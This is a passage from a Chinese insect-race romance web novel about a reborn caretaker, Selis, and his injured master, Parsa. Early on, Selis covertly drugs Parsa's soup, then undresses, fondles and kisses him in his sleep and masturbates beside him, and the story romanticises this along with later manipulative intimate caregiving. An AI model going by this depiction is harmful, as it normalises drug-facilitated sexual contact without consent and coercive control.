“嗯。”帕尔萨冷淡的回道,仰头将甜汤慢慢喝尽。
塞利斯看着他吞咽间滚动的喉结,眼底的暗色愈发浓重。
帕尔萨并没有提什么意见,反而是塞利斯主动开口道:
“风大了,我送您回去休息吧。”
帕尔萨想到什么忽然开口:“不要——”碰我,我自己来。
话音被塞利斯的怀抱打断,亚雌像白天一样一把将他抱起,不等他拒绝就将他放到了轮椅上。
帕尔萨斥责正要出口,见到塞利斯的表情又把话咽了回去。
可能是晚上的甜汤味道不错,也可能是少年那带着些小讨好的眼神,或是想起亚雌失去至亲独自生活的不易。
塞利斯跟着帕尔萨回到卧室,帮他躺好。
一回生,二回熟,塞利斯看见帕尔萨被人触碰时第一次的恼怒,到现在的只是沉默眉头微蹙,他轻轻的勾了勾唇角。
塞利斯跪坐在床侧,视线正好与帕尔萨齐平。
他眼中闪着真挚的光:“我给您按一下头吧,会更舒服一些。我之前经常帮哥哥按的。”
或许是把他当成了哥哥,帕尔萨心想。他没有拒绝。
塞利斯的指尖便落上去,力度不轻不重。
柔软的指腹顺着紧绷的太阳穴缓缓打圈,帕尔萨僵硬了一瞬,又放松下来。
塞利斯垂着眼,指下是温热的皮肤与坚硬的颅骨。
动作像个虔诚的信徒在描摹神像的轮廓,又像个耐心的猎手
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在安抚终于入网的兽。
空气里只剩下呼吸声,帕尔萨慢慢的觉得自己有些睡意,意识开始模糊。
少年很懂分寸的帮他掖了掖被角,然后轻声合上房门,退了出去。
帕尔萨的呼吸逐渐变得悠长平稳,眉头也舒展开来,陷入了深度睡眠。
他不知道甜汤里放了塞利斯来别墅前就准备好的精神安抚的药剂。
药剂适用于精神暴动晚期,有助于病虫精神躯体放松和安眠,没有什么其他副作用。
本该离开的少年也在他熟睡后又打开他的房门,来到他的床边。
就那么静静的看了许久,眼神阴冷晦暗,夜色下显得阴森可怖。
月光透过窗纱,柔和地洒在帕尔萨脸上,淡化了些许虫纹的狰狞,让他看起来有种近乎安宁的英俊。
塞利斯调高室内的温度,掀开被子,解开帕尔萨的睡袍。
他慢慢地在床边坐下,伸出手带着细微颤抖,触碰上了帕尔萨的脸颊。
温热的皮肤,指尖下的虫纹凸起,有着独特的质感。
他用手抚摸着帕尔萨的身体,从虫纹,到身上的疤痕再到残缺的肢体。
一寸寸的描绘,反复的摩挲。
在帕尔萨的大腿内侧,两边都有一道覆盖着几丁质感薄膜的缝隙,现在紧紧闭合着。
那是帕尔萨的主耳。
帕尔萨头上耳朵处的翼状薄膜是副耳,真正的主耳像昆虫一样在腿侧。
从主耳往下帕尔萨的腿部布满敏感和发达的神经元,能在战斗中快速感受周围的声音变化以及极远处危险的降临。
塞利斯看着左腿处马上就要断到主耳处的残肢,心中一阵揪痛。
帕尔萨的腿本就比一般虫族神经元更加敏感,受伤的时候该有多痛,不知道主耳有没有受到影响。
他用手轻轻扫过帕尔萨主耳的薄膜,轻轻的摩挲,
帕尔萨的身体猛的痉挛了一下,而后主耳颤巍巍的露出一点缝隙。
如同眼皮一样主耳薄膜轻微开合,露出里面好似眼睛的鼓膜。
塞利斯呼吸急促起来,收回手放到身前。
目光忽然贪婪灼热的流连在主耳处,再到熟睡的雌虫的脸上、颈间、露出的锁骨......
喉间突然溢出一声喘息。
感受着自己的灼热,摩擦的火焰,喷涌的欲望。
就像岩浆即将爆发的火山,几乎要将他燃尽。
帕尔萨,帕尔萨....帕尔萨!
他口中无声的喊着雌虫的名字,眼中带着无尽的疯狂和痴迷。
情绪就像岩浆在地脉中奔涌,汇合到火山口,在久久的压抑中喷涌而出。洒落在前方温度较低的地表,留下炙热的灼痕。
他剧烈的喘息,满足过后巨大的空虚却裹挟而至。
直到他上床将赤裸的雌虫严丝合缝的抱在自己的怀中。
双臂紧紧的环住帕尔萨劲瘦的腰肢,头埋在他的颈间,深深的吸一口带着冰雪的气息。
塞利斯才觉得心中的空缺在此刻填满。
重生后的不真实感,在此刻才完全尘埃落定。
他发出满足的喟叹。
在帕尔萨的颈间蹭了蹭后,塞利斯一手抚上他的脸颊,轻轻的将他的脸侧过来。
两人的脸近在咫尺,他能清楚的看到帕尔萨浓密的睫毛。
他轻轻的抚摸过帕尔萨深邃的眉骨,紧闭的双眼,高挺的鼻梁,凸起的虫纹,再到轻薄柔软的嘴唇。
前世,他从未主动吻过他。
后面的每一次亲密,都像是互相折磨,共同在痛苦中又难以自拔的沉沦。
但现在......
8. 第 8 章 终于被阳光洒进的卧室
塞利斯像是被蛊惑了,缓缓靠近,却又在双唇即将触碰的前一刻猛地停住。
将额头抵在帕尔萨的额头上,发出一声压抑的低喘。
他的渴望卷土重来,但最终只是低下头,极轻极轻地将一个吻印在帕尔萨的眉心,如同烙印。
接着,是眼角,是高挺的鼻梁侧边,最后,的唇停留在帕尔萨的唇角。
久久没有离开,只是克制地贴着,感受着那份温热和柔软,身体因极致的渴望和克制而微微发抖。
他的手指,穿过帕尔萨的银发,温柔地梳理,然后插入发根轻轻按压。
睡梦中的雌虫毫无知觉,只是无意识地偏了偏头,唇角似乎擦过了塞利斯的唇瓣。
这一个微小的动作,却像火星溅入油锅,瞬间点燃了塞利斯苦苦维持的理智防线。
他猛地收紧手臂,将雌虫更深地拥入怀中,滚烫的唇终于克制不住,沿着下颌线条,吻上那截在夜色中显得格外白皙脆弱的脖颈。
塞利斯舔吻着那里跳动的脉搏,牙齿轻轻磨蹭着喉结,在虫纹蔓延的边缘,留下一个又一个湿润而滚烫的印记,却又小心地没有留下任何明显的痕迹。
他的亲吻充满了疯狂的嫉妒和恨意,仿佛想用自己的气息覆盖掉所有可能存在过的别虫的痕迹。
想深深的完全标记帕尔萨,想让这个雌虫在最深的意识里只记住他的触碰,生殖腔的信息素只有他的存在。
“你是我的......”他贴着帕尔萨的唇角,用气音呢喃,声音低哑破碎,充满了扭曲可怕的占有欲,
“只能是我的......”
“帕尔萨——”
但最终只是拥抱着沉睡的帕尔萨,放肆又极度克制地亲近着。
直到天色将明,才像是耗尽所有力气般松开了手臂。
他为帕尔萨整理好微微凌乱的睡衣,盖好被子,然后退开。
愣怔坐在床边的地毯上,将自己蜷缩起来,仿佛刚才那个失控的人不是他。
一缕晨光透过窗帘间的缝隙照在墙面上,塞利斯抬起头,看着帕尔萨依旧沉睡的安宁侧脸,眼神恢复了平静。
只是那平静之下,翻涌着更深不见光的暗流。
他起身出门,没有丝毫的疲惫。
等到塞利斯再回到主卧门外时,楼下的厨房里已经传来阵阵的饭香。
他手里稳稳端着托盘,托盘上却没有放早饭。
只有一杯加了花蜜的温水,和一个细口白瓷瓶,里面插着一支刚摘的寒星草。
他不能再等了,看着帕尔萨一日日因为白月光在昏暗里消磨生气,比面对他受伤后的暴躁和怒火更让塞利斯难以忍受。
塞利斯抬起手,指节轻轻叩在门上。
敲门声清晰,他声音温和道:
“您醒了吗?是我,现在可以进来吗?”
门内一片寂静。就在塞利斯准备再次开口时,里面传来帕尔萨刚醒时低沉沙哑的声音:
“进来。”
塞利斯转动门把,推门而入。
“早上好,帕尔萨先生。”他将托盘放在床头柜上。
细口白瓷瓶中那支清晨绽放的寒星草,花瓣上还沾有晨露,在卧室里散发出清淡的幽香。
塞利斯走向那扇被窗帘封闭多日的落地窗,他双手抓住窗帘边缘,向着两侧猛地拉开。
“哗啦——”
滑轨滚动的声音在寂静中格外明显。
大片温暖的阳光汹涌的洒落进来,昏暗瞬间被驱散,宛如碎金一般铺满了地毯。
照亮了空中飞舞的尘埃,也将床上帕尔萨的身影彻底暴露在光亮之下。
帕尔萨猛地闭上眼,手臂迅速抬起,用手背挡住了眼睛。
塞利斯站在光里,背对着窗户,身影在逆光中有些模糊。
几秒钟后,帕尔萨适应了些许。他放下手,睁开眼时暗红色的双眸满是被冒犯的不悦和怒意
帕尔萨眉头紧皱,低吼道:
“放肆!谁允许你拉开的!滚出去!”
换了任何一个真正的未经世事的亚雌佣虫,此刻恐怕早已吓得惊慌失措仓皇退走。
但塞利斯没有。
他缓缓上前低下身,跪坐在帕尔萨床侧,话语中是赤城坦然:
“帕尔萨先生,我来这里,是为了您能得到更好的照顾。”
塞利斯再次靠近,脸清晰地呈现在帕尔萨眼前。
阳光落在他侧脸上,那双琥珀色的眼睛里,没有丝毫畏惧,闪烁着真诚的光:
“之前只是做饭、养护花草,我觉得受之有愧。”
他的语气很认真,带着点自我检讨的恳切,
“您付我这么高的薪水,让我有地方住,不用再流浪,我想为您做更多。让您过得舒服点,是我的职责。”
塞利斯微微低下头,但又很快抬起,脸上些害羞和惭愧:
“我之前没有在有钱虫家里做过事,没有专业的经验。很多规矩不懂,哪里做得不好,您可以直接告诉我。”
他的声音更轻了些,却字字清晰,“我会改。”
没有辩解,没有推诿,甚至没有为自己擅自拉开窗帘的“放肆”行为找任何借口。
他只是陈述一个事实——我想对你好,但我不知道怎么做才对,请你教我。
这份直白得近乎笨拙的心意,猝不及防地撬开了帕尔萨被愤怒和阴郁包裹着的心口一角。
帕尔萨所有的怒气,仿佛一拳打进了棉花里。
他盯着塞利斯的眼睛,试图从里面找出一丝虚伪、算计或讨好的痕迹。
但都没有。
那双眼睛里只有光,清澈的、温暖的,甚至有点固执的光。
恍惚中,好像也曾存在这么一双眼睛,专注的望向他。
漫长的沉默在卧室里蔓延。
最终,帕尔萨疲惫的闭了闭眼睛,将头微微偏向一边,避开了那过于直接清澈的目光。
紧抿的唇线和下意识攥紧被单的手,泄露着他内心的挣扎。
“......嗯。”
许久后传来一声低不可闻的回应。
塞利斯步步紧逼。
他声音放得更柔和,依旧带着那种不变的认真:
“那么,帕尔萨先生,现在我可以帮您洗漱吗?”
他巧妙的没有说需要我帮您吗,而是带着引诱的我可以这样吗。
帕尔萨没睁眼,也没回头。
那便是默许。塞利斯认定为默许。
他立刻行动起来,将悬浮轮椅放置一侧,伸手扶住帕尔萨的肩膀。
隔着一层丝质睡衣,他能感受到掌心下皮肤的温热,以及底下属于雌虫的骨骼轮廓。
“失礼了。”他低声说。
一只胳膊穿过帕尔萨腋下环住肩膀,
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另一只胳膊抬起雌虫的腿窝,用力将虫从床上抱起。
这是个极近的距离,帕尔萨的头颅几乎靠在他颈窝,呼吸拂过他耳侧的碎发。
塞利斯闻到他身上冰雪的信息素的味道,夹杂了些几不可闻的缠绕着的玫瑰香,让他的手指收紧了一瞬,眼眸深处略过一丝餍足。
将虫放置进轮椅后,塞利斯推着他走进浴室。
镜子里映出两虫一坐一立的身影。
帕尔萨盯着镜中的自己虫纹狰狞面容破碎,长发枯燥凌乱的模样,眼神一片空洞。
他已经许久没照过镜子了。
“水温可以吗?”塞利斯试了试水,将浸湿的毛巾拧得半干,触碰了一下他的脸。
帕尔萨没说话。
塞利斯便当他默许。
他站在帕尔萨身侧俯身,用毛巾轻轻擦拭他的脸颊。
力道恰到好处,毛巾划过额头、眼窝、鼻梁、嘴角。
但他的指尖不经意的,总是会碰到皮肤。
擦过下颌时,指腹蹭到喉结。
擦过耳后时,指甲轻轻刮过敏感的耳廓。
每一次触碰都转瞬即逝,快得像是无心之举,却又精准地落在雌虫神经密集的区域。
帕尔萨的呼吸节奏变了。
很细微的变化,但塞利斯注意到了。他垂下睫毛继续手上的动作,心里却涌起一股阴暗的满足感。
两虫荒唐沉沦的每一个夜晚,让他清楚帕尔萨的每一处敏感点。
挤好牙膏的牙刷递到嘴边时,帕尔萨终于有了反应。
他皱了皱眉,自己伸手去接:“我自己来。”
塞利斯顺从地递过去,却没有退开。
他站在轮椅后方,双手撑在扶手上,以一个几乎将帕尔萨圈在怀里的姿势,看着镜子里的人机械地刷牙。
泡沫溢出嘴角时,塞利斯自然而然地用毛巾俯身替他擦掉。
这个姿势让他温热的呼吸直接喷洒在帕尔萨耳际。
“小心些。”他的声音放得很轻,像在哄孩子,“不要洒在身上。”
镜子里,帕尔萨刷牙的动作顿了顿。他的耳廓以肉眼可见的速度泛起一层薄红。
塞利斯的嘴角无声地勾起。
洗漱完毕,便到了上厕所的环节。
塞利斯动作自然的让帕尔萨的胳膊搭在自己的肩膀上,用身体支撑帕尔萨站起来。
帕尔萨一惊:“你要做什么?”
“您需要上厕所。”
“......出去.”帕尔萨的声音很冷,带着明显的抗拒。
“您确定可以自己完成?”塞利斯不退反进,直接架起来帕尔萨,让他所有的重量都放在自己身上,
“我是您的护理员,这是我的工作。”
他的语气温和却不容拒绝,手上已经利落地解开了睡袍的腰带。
睡袍领口敞开,露出大片苍白的胸膛和狰狞的疤痕。
帕尔萨抓住了他的手腕。
力道很大,雌虫即使重伤残废,手劲依旧惊人。
塞利斯吃痛,却没有挣扎,只是抬起眼用那双琥珀色的眼睛,温润无害的看着他。
“您弄疼我了。”他说,语气委屈甚至带着一些撒娇。
帕尔萨的手指像被烫到般猛地松开。
他别开脸,喉结剧烈地滚动了一下,声音嘶哑:“......快点。”
9. 第 9 章 故障的天空
“好的。”塞利斯微笑,继续手上的动作。
他没有把雌虫逼的太紧,只是帮帕尔萨解开睡袍,当做他身体的支撑点。
手臂紧紧的抱着对方劲瘦的腰肢,没有真的扶着关键位置。
塞利斯全程表情沉静,眼神专注动作利落,仿佛真的只是在完成一项工作。
雌虫显然从未被如此细致地“服侍”到这种地步。
他下颌线绷紧,难堪地仰头闭上眼,浓密的睫毛在眼下投出一小片阴影,微微颤动。
停顿了几秒,浴室中才缓缓传来水流声。
帕尔萨不知道的是在他闭眼的时候,身旁垂首看似恭敬的少年,看向他的眼神中是怎样的疯狂和痴迷。
那目光贪婪地掠过帕尔萨因为仰头而完全暴露的脖颈线条,饱满的肌肉轮廓,胸前的两点红晕,最后隐晦地向下。
他的下面其实不容小觑,只不过因为雌虫身体构造的原因,会比塞利斯的更精致一些。
塞利斯看着雌虫完好的那一侧脸颊上因为羞耻而弥漫开的淡淡红霞,心中蠢蠢欲动。
阴暗而又邪恶的念头不受控制的浮现,如果能触碰到更多,如果能更帮忙一些,这张总是死寂隐忍的脸上,会不会露出更有趣、更失控的表情?
推着轮椅离开浴室时,塞利斯从镜子的反光里看到,帕尔萨耳根脖颈处还有未退的红晕,身体有些僵硬,一副被冒犯却又无力反抗的样子。
他垂下眼,掩住眸底翻涌的暗色。
塞利斯将温水递到帕尔萨手中,在他喝水的空隙,给他的腿上盖上柔软的薄毯。
然后没有像往常一样让菲克送来早餐,而是直接推着轮椅转身向卧室门口走去。
帕尔萨察觉了方向的偏离,扣在轮椅扶手上的手指微微用力:“去哪?”
“餐厅。”塞利斯回答得自然无比,仿佛这是早已约定俗成的日程:
“今天的早餐我熬了鳕非鱼粥,米粒都熬化了,现在下楼,您正好能闻到最香的时候。”
他一边说,一边并未停下脚步。
帕尔萨眉头微蹙,尚未再次开口,塞利斯却自然地俯身,靠近他耳边。
明明站着说话对方也能听清,少年却偏偏选择了这个过于亲近的姿态,温热的气息似有若无地拂过帕尔萨的耳廓:
“我还准备现煎几张薄饼,刚出锅的时候边缘最酥脆,口感最好。从厨房送到卧室,味道和口感都会打些折扣。”
他的声音轻缓,带着一点点诱哄般的惋惜。
帕尔萨耳畔一阵细微的酥麻,他不适的向一边偏头,少年给出的理由无法拒绝,他只能不悦的冷冷道:
“下次说话不要离我这么近。”
塞利斯行走的动作不停,语气温和:“好哦。”他不以为意。
帕尔萨的心头又浮上那种淡淡的无力感。
悬浮轮椅下楼后平稳地滑过走廊,铺着暗色地毯的过道两旁挂着一些模糊的风景画。
塞利斯的声音在寂静中响起,不高,却清晰地钻进帕尔萨耳中:
“先生,左边这幅画上面的蓝色漩涡和斑点,是真的星星吗?我在星网上看到的星星照片,好像不是这样的。”
问题来得突兀,甚至带着点不谙世事的天真。
帕尔萨瞥了一眼那幅描绘星云爆发的抽象画,淡淡道:
“那是艺术处理,表现的是超新星爆发时的能量涡流和物质抛射。”
“超新星...”塞利斯低声重复,声音里夹杂着好奇,以及一丝对“死亡”这个词汇的畏缩,
“就是星星死掉的时候,对吗?”
“是终结,也是新生。”帕尔萨的语调依旧平淡,目光却不自觉地在那幅画上多停留了一瞬。
他好似曾和谁驾驶星舰穿越过真实的星云残骸,目睹过那毁灭与诞生并存的瑰丽奇景。
久远的记忆碎片掠过脑海,带来一丝尖锐的刺痛和更深的空洞。
“真浪漫啊,”塞利斯感慨,语气带着向往,
“我也想去亲眼看看,可惜,我从来没离开过西莫星。”
他没离开过西莫星是假,但未曾看到过星云残骸是真。从刚来到别墅看到这几幅画的时候,他就很喜欢。准确的说,不知为何,别墅的很多设计他都喜欢,
就在帕尔萨的心神被往事牵动的刹那,轮椅已无声地滑入了餐厅。
“早上好,主虫。早上好啊,洛纳!”
“ (??ω?)? ”菲克不知道从哪里窜了出来,态度差距明显的和两虫打了招呼。
“今日室内温度21.3度,湿度42%,空气质量:良~”它播报完继续道:
“我昨晚好像睡了很长时间,”菲克晃晃脑袋,“虽然菲克并不会睡觉,但感觉待机能量补充的很好。”
“你们昨晚睡得怎么样?”
显然帕尔萨一如既往的无视他,塞利斯笑的眉眼弯弯:“睡得很好。”
餐厅厚重的窗帘早已被塞利斯拉开。温暖的阳光漫进来,照亮了长餐桌上铺着的浅绿色的桌布,以及中央一小瓶清水供养着的几枝娇艳的花,显得生机勃勃。
餐桌没有选用那张可供二十人同时用餐的正式长桌,而是旁边一张更小巧的圆桌。
两把椅子相对放置,距离不远不近。
“您先坐这儿喝点粥暖暖胃,薄饼很快就好。”
塞利斯将帕尔萨的轮椅推进,调整到舒适的位置,盛出一碗鱼粥放在他面前,随即转身走进了开放式厨房。
菲克也开启了定时清洁模式,像一个真正的家政机器虫一样滑走了。
粥的香气温热熨帖,厨房传来食物煎炸的细碎声响。
帕尔萨拿起勺子,舀了半勺送入口中。
粥底绵密,鱼肉鲜甜,暖意顺着食道蔓延到胃中。
他抬头,能看见塞利斯在厨房里忙碌的背影,阳光勾勒着他认真的模样。
这一幕有种难以言喻的温暖,让帕尔萨有片刻的恍惚,仿佛置身于某个久远前对于“家”的憧憬中。
食材早已备好,塞利斯动作很快。
不一会儿,他就端着瓷盘走了过来,盘子里是几张煎得金黄、散发着诱人焦香的薄饼。
他没有像佣虫一样将食物放下侍立一旁,而是在帕尔萨对面的空椅上坐了下来,姿态放松,仿佛理所应当的共进早餐。
帕尔萨的眉头微蹙,对这种模糊了界限的姿态感到些许不适。
塞利斯却仿若未觉,笑容灿烂,带着点展示成果的雀跃,指着薄饼说:
“看,我把它命名为‘星辉脆饼’。”
金黄的饼身上,均匀地撒着在光线下闪着微光的可食用矿物糖屑,模拟着星辰的光泽。
塞利斯用刀叉切下一块,用叉子插起极其自然地递到了帕尔萨的嘴边。
他托着腮,眼睛亮晶晶地望过来,像等待夸奖的学生:
“您尝尝看?我第一次尝试这个配方,不知道您喜不喜欢。”
这个喂食的动作过于亲昵,帕尔萨看着眼前递到唇边的食物,又对上塞利斯那双盛满期待的眼睛,拒绝的话在喉咙里滚了滚,最终没能说出口。
他迟疑了一瞬,微微向前,就着塞利斯的手,将那薄饼含入口中。
外层酥脆,
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内里软糯,恰到好处的甜味与中间夹着的微酸果酱形成巧妙的平衡,口感丰富,味道确实出乎意料的好。
“怎么样?”塞利斯立刻追问,身体不自觉地微微前倾。
帕尔萨咀嚼着咽下,迎着他期待的目光,沉默了一秒,给出一个听起来颇为吝啬的评价:“尚可。”
塞利斯笑起来,琥珀色的眼睛里漾开满足的光,比窗外的阳光更明媚。
他没有再试图继续喂食,而是将刀叉妥善地放在帕尔萨手边,安静地吃着自己那份,偶尔抬头看帕尔萨一眼,笑意盈盈。
一顿早餐在温馨的宁静中用完。
帕尔萨不知不觉间,喝完了整碗粥,还吃下了一张半的薄饼。当最后一口食物咽下,他握着空勺,有片刻的怔忪。
自己竟然在这个曾经觉得空旷得令人不适的餐厅里,用完了一整份早餐。
他想,有个这样的亚雌弟弟似乎也不错。
阳光晒在背上暖洋洋的,空气中残留着食物的香气和淡淡的花香。
塞利斯利落地收拾餐具,当他端着托盘准备离开时,忽然回头,状似随意地问:
“今天的阳光特别好,花园里我移栽的几丛雪雾花好像要开了。我待会儿得去给它们固定一下支架,顺便修剪旁边疯长的银叶藤。”
他顿了顿,语气轻松地抛出邀请,
“您要不要去外面坐一会儿?晒晒太阳,看看书?一定会很舒服。”
阳光?花园?帕尔萨本能地抗拒,仿佛看到自己满身的伤痕和残破的身体在天光下无所遁形。
他嘴唇动了动,几乎下意识地吐出“不”字。
“而且,”塞利斯像是看穿了他的迟疑,声音放得更柔,带着一点诱哄:
“我之前按照您的方法栽培了几种珍稀植物,这两天陆续开花了,很漂亮,希望您过去帮我看看,还有没有什么需要注意的地方。”
帕尔萨拒绝的话在舌尖转了一圈,最终变成低低的一声:“嗯。”
塞利斯眼睛一亮,笑容瞬间绽开“太好了!我去准备一下,您稍等。”
他收拾完厨房后去储物间找一些东西,帕尔萨则在悬浮轮椅上闭目养神。
塞利斯不知道的是,在他一脚踏进没有窗户的储物间的同时,整个别墅外的景象突然中断了。
天空像被拉闸般骤然暗下,远处高大茂密的原始森林全部消失不见,变为一片未知的漆黑。
只有这栋别墅依旧维持着色彩,即使并没有光线的照射,孤零零地矗立在虚空般的底色中。
紧接着,天空开始闪烁,像故障的屏幕那样跳动着噪点。
几秒间,它反复在深夜、黄昏、正午之间快速切换,最后固定在一个早晨阳光正好的状态。
窗边的帕尔萨依旧合着眼皮,对外界重组般的变幻似乎毫无反应。
只是若仔细看,会发现他搭在扶手上的指尖,正随着天空最后一次切换,同步地轻颤了一下。
过了一会儿,塞利斯推着帕尔萨的轮椅,穿过连接别墅的玻璃廊道,踏入花园。
早上的阳光温暖而不灼人,带着植物特有的清新气息扑面而来。
帕尔萨下意识地眯了一下眼,久居室内的瞳孔需要时间适应这明亮的光线。
塞利斯像有魔法一样,不知从何处掏出来一个墨镜给他戴上。
“主虫——”菲克从一丛茂盛的观叶植物后面歪歪扭扭地滑出来,它的行走路径带着不协调的弧线。
“ (T▽T) ”显示屏上是一个泪眼汪汪的表情,
“菲克的系统出问题了,好像有bug在袭击我。”
10. 第 10 章 难以拒绝的怀抱
帕尔萨瞥了它一眼,没戳穿这略显浮夸的演技,只是淡淡道:“过来。”
菲克“嘎吱嘎吱”地挪到帕尔萨腿边。
帕尔萨伸出右手,那只手上也覆盖着些许银黑虫纹,修长的手指按在菲克的后背上,金属板自动打开露出里面的隐蔽接口。
他五指放在微型的触控板上进行精神力链接调控,又进行了一次虹膜扫描。
“好了。”他收回手。
菲克立刻原地转了两个圈,行走轨迹变得笔直。
“ (???) !”显示屏放出烟花:
“恢复正常!主虫最厉害了!菲克又可以快乐地跳舞了!”
它兴奋地绕着轮椅转了一圈,然后指向花园一侧,
“对了主虫!洛纳在那里弄了一个超级舒服的‘秘密基地’~菲克有帮忙搬了东西哦~你一定要去看看!”
帕尔萨顺着菲克指的方向望去。
那是花园一角,原本有些杂乱的地方,此刻却被巧妙地利用起来。
几株高大的羽状植物形成了天然的屏风,下方是一个藤编吊篮椅,里面铺着的软垫,旁边是一个高度适宜的边几,边几上放着正在烧煮的茶水、倒扣的杯子和几本书。
最巧妙的是上方,利用原有廊架和爬藤植物,稀疏地搭了一层半透明的遮光纱,既过滤了过于直射的光线,只落下柔和摇曳的光影,又不会太过遮挡温暖的阳光。
一丛丛充满生机活力的白色小花,被移栽在了这个角落最近的地方,微风拂过花朵时轻轻掀起一片涟漪。
这里安静被绿意和花香包裹,仿佛一个独立于尘嚣和伤痛之外的小世界。
塞利斯没有多话,只是将轮椅稳稳地推到吊篮椅旁,而后蹲下身双手撑在轮椅扶手上,无形中将帕尔萨圈在了一个更为亲密的空间里。
他仰起脸,眼眸深邃专注:“这里安静,阳光也正好,”
塞利斯语气轻柔,“您在这里喝会儿茶,看会儿书,我去打理花园,好吗?”
塞利斯的位置离帕尔萨的大腿很近,声音像羽毛搔刮过他主耳的耳膜,帕尔萨腿上的主耳缝隙不自觉的翁合了一下。
帕尔萨看着那双琥珀色眼眸微微点头。
塞利斯唇角微微弯起一个弧度,就着这个很近的距离,手臂从帕尔萨腋下穿过,掌心紧紧的贴住他身后那宽阔有力的背肌。
这一次,不是从侧后方协助,而是正面地将帕尔萨抱进了怀里。
一瞬间,帕尔萨被一种极淡的玫瑰味的温热气息包裹了,他身体下意识地僵硬一瞬。
塞利斯仿佛毫无所觉,他稍稍用力,将帕尔萨的上半身带离轮椅靠背。
两人胸膛隔着薄薄的衣物相贴,传递着彼此的温度。
帕尔萨都要对塞利斯突然的搀扶举动麻木的习惯了,但如此正面好似拥抱的姿势,还是第一次。
就像少年扑进了他的怀里。
少年的脸颊几乎蹭过他的颈侧,发丝痒痒的扫过他的下巴。
他被迫微微低头,就能看见塞利斯低垂的眼睫,和那看起来很软的嘴唇。
太近了。
近到帕尔萨能看清对方脸上细微的绒毛,能感受到对方呼吸的气息。
少年清澈的琥珀色瞳孔里,此刻满满当当只盛着他一个人的倒影,仿佛他是他世界里的唯一。
心跳莫名的漏了一拍,鼻尖若有若无的萦绕着淡淡的玫瑰香气,这个味道不知为何让他有些心跳加速。
塞利斯似乎低低笑了一声:“抓紧我,先生。”
手臂更稳地环住他,然后腰腿发力平稳的将帕尔萨从轮椅抱离,转身将他安置在吊篮椅上。
直到帕尔萨完全坐稳,塞利斯才缓缓松开了手臂。
垫子的柔软恰到好处地承托着帕尔萨僵硬的躯干和残肢末端,阳光透过纱幔落在身上,暖洋洋的,驱散了时常萦绕的阴冷。
塞利斯没有立刻退开,而是就着半蹲的姿势,仰视着帕尔萨,伸手自然地替他理了理动作间微微散乱的衣领,为他腿上盖好薄毯。
而后从边几上拿起一本,菲克推荐的帕尔萨之前经常看的书,放到他手边。
“好了,”塞利斯微笑道:“您先看看书,我去把那边的几株雪雾花处理一下,”
他指了指不远处的花圃,目光却流连在帕尔萨微微泛红的耳根上,笑意加深,
“不远,您有事可以随时叫我。”
帕尔萨没有说话,指尖无意识地拂过书页。
塞利斯说完便站起身,拿起工具走向花圃。帕尔萨没有看到的是,塞利斯转身的刹那,舌尖极快地舔过下唇,眸色深处暗流涌动。
边几上煮沸的苦柯茶飘来熟悉的苦涩香气,让帕尔萨身体缓缓放松,他目光没有立刻落在书上,而是不由自主地追随着塞利斯的身影。
那边的塞利斯套上园艺手套,拿起铁丝和园艺剪刀,开始专心致志地给雪雾花固定支架。
他动作熟练,弯腰时,白色的上衣下摆微微拉起,露出一截柔韧白皙的腰身;
抬手擦拭额角时,手臂的线条流畅而充满生机。
阳光在他发梢跳跃,在他专注的侧脸上镀了一层金边。
他偶尔会低声哼唱几句不成调的,帕尔萨从未听过的轻柔旋律。
与风声、树叶沙沙声、远处菲克打扫庭院的细微嗡鸣融为一体,构成了一种平和到让人惬意的背景音。
帕尔萨就那样看着,看了很久,书一页未翻。
一种奇异的平静,混合着某种难以言喻的的感觉弥漫上他的心间。
他很久没有这样仔细的看着什么,或者说,认真感知到外界的什么。
这个叫洛纳的亚雌,像一缕不由分说却又温和无比的微风,悄无声息地渗入他自我放逐之地。
带来光,带来色彩,带来声音,带来鲜活的气息。
他甚至没有刻意做什么,只是在那里存在着,忙碌着,就莫名地吸引着帕尔萨的视线,拉扯着他的注意力。
是因为他做的食物合口味?是因为他小心翼翼的做着想令他开心的事情?还是因为他一直以来看向自己那毫不作伪想要对自己好的热切眼神?
帕尔萨无法准确分析,只是感觉到似乎有什么变得不同了。
塞利斯似乎察觉到了他的目光,偶尔会直起身,回头对他笑一下。
那笑容干净明朗,琥珀色的眼睛在阳光下像融
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化的蜜糖。
每当这时,帕尔萨就会下意识地移开视线,看向书本或远处的植物,指尖却不自觉地蜷缩一下。
菲克趁帕尔萨目光落在书上时,悄悄的靠近塞利斯,
“ (???)”屏幕闪烁,它调低自己的音量:
“还是你最厉害洛纳!你居然让主虫白天出了卧室!今天主虫的身体和精神数据都很稳定,昨晚一定休息的不错。”
塞利斯没有说话,只是眉眼弯弯的拍了拍它的脑袋,看向不远处那个装作没有听到专心看书的身影。
还不够,他想。
后面的几日里,塞利斯会近身照顾帕尔萨的起居,每到帕尔萨微微皱眉时,塞利斯总能给出让他无法拒绝的理由,帕尔萨在花园里的时间也越来越多。
一天下午,帕尔萨在吊篮椅中醒来,发现自己竟在小憩中睡了过去。身上盖着的薄毯带着阳光和植物晒过的气味。
他猛地睁开眼,清醒后一时错愕,自己居然放松到在外面的椅子上睡着了。
“您醒了?”塞利斯的声音从很近的地方传来。
帕尔萨循声转头,发现塞利斯就坐在吊篮椅旁的地上,身下坐着蒲团,背靠着藤编椅身,安静的看着一本《星际生态进化史》。
“我看您睡着了,在暖洋洋的阳光下睡一觉会很舒服,就没叫醒您。”塞利斯合上书,抬起头。
琥珀色的眸子映着帕尔萨怔然的身影,“睡了半小时,刚好。”
他站起身,仿佛刚才挨得那么近只是无意,伸手指尖摸了摸帕尔萨搁在薄毯外的手背:
“有点凉了。”塞利斯的语气轻柔,“该回去了,先生。”
说完他像之前一样抱起帕尔萨放置到轮椅上。
但帕尔萨身体还是会下意识紧绷,他到现在都还没有适应这种几乎是拥抱的姿势,彼此呼吸交触有一种非常亲密的感觉,令虫无所适从。
“菲克。”塞利斯神态自然的直起身,扬声呼唤。
“( ̄▽ ̄*)ゞ”机器虫欢快地滑近,“来啦来啦!主虫睡醒啦?你睡着后洛纳一直在守着你哦!”
帕尔萨抿了抿唇,没接话。
“送先生回房间,我去准备晚上要用到的药液。”他对菲克交代完,又俯身凑近帕尔萨:
“今晚试一试修复舱吧,您昨天答应了我的。”
塞利斯唇角软软的勾起,语气里带着一点讨巧的撒娇意味,眼底却是异常的坚持。
帕尔萨恍惚想起昨天,塞利斯那副软磨硬泡不同意就马上哭出来的样子。
“嗯。”他低声应道,避开了塞利斯的注视。
塞利斯满意地笑了,伸手自然地替帕尔萨将一缕滑落额前的银发捋到耳后。
